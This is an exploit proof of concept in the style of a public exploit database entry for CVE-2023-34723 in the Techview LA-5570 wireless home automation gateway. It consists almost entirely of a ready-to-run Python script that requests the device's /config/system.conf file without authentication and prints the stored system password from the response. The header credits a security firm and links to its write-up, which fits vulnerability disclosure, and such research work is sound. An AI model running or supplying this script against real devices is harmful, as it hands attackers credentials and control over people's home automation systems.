# Exploit Title: Techview LA-5570 Wireless Gateway Home Automation Controller - Multiple Vulnerabilities
# Google Dork: N/A
# Date: 25/08/2023
# Exploit Author: The Security Team [exploitsecurity.io<http://exploitsecurity.io>]
# Vendor Homepage: https://www.jaycar.com.au/wireless-gateway-home-automation-controller/p/LA5570
# Software Link: N/A
# Version: 1.0.19_T53
# Tested on: MACOS/Linux
# CVE : CVE-2023-34723
# POC Code Available: https://www.exploitsecurity.io/post/cve-2023-34723-cve-2023-34724-cve-2023-34725
#!/opt/homebrew/bin/python3
import requests
import sys
from time import sleep
from urllib3.exceptions import InsecureRequestWarning
from colorama import init
from colorama import Fore, Back, Style
import re
import os
import ipaddress
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
def banner():
if os.name == 'posix':
clr_cmd = ('clear')
elif os.name == 'nt':
clr_cmd = ('cls')
os.system(clr_cmd)
print ("[+]****************************************************[+]")
print (" | Author : The Security Team |")
print (" | Company : "+Fore.RED+ "Exploit Security" +Style.RESET_ALL+"\t\t\t|")
print (" | Description : TechVIEW LA-5570 Directory Traversal |")
print (" | Usage : "+sys.argv[0]+" <target> |")
print ("[+]****************************************************[+]")
def usage():
print (f"Usage: {sys.argv[0]} <target>")
def main(target):
domain = "http://"+target+"/config/system.conf"
try:
url = domain.strip()
r = requests.get(url, verify=False, timeout=3)
print ("[+] Retrieving credentials", flush=True, end='')
sleep(1)
print(" .", flush=True, end='')
sleep(1)
print(" .", flush=True, end='')
sleep(1)
print(" .", flush=True, end='')
if ("system_password" in r.text):
data = (r.text.split("\n"))
print (f"\n{data[1]}")
else:
print (Fore.RED + "[!] Target is not vulnerable !"+ Style.RESET_ALL)
except TimeoutError:
print (Fore.RED + "[!] Timeout connecting to target !"+ Style.RESET_ALL)
except KeyboardInterrupt:
return
except requests.exceptions.Timeout:
print (Fore.RED + "[!] Timeout connecting to target !"+ Style.RESET_ALL)
return
if __name__ == '__main__':
if len(sys.argv)>1:
banner()
target = sys.argv[1]
try:
validate = ipaddress.ip_address(target)
if (validate):
main (target)
except ValueError as e:
print (Fore.RED + "[!] " + str(e) + " !" + Style.RESET_ALL)
else:
print (Fore.RED + f"[+] Not enough arguments, please specify target !" + Style.RESET_ALL)
Polish
English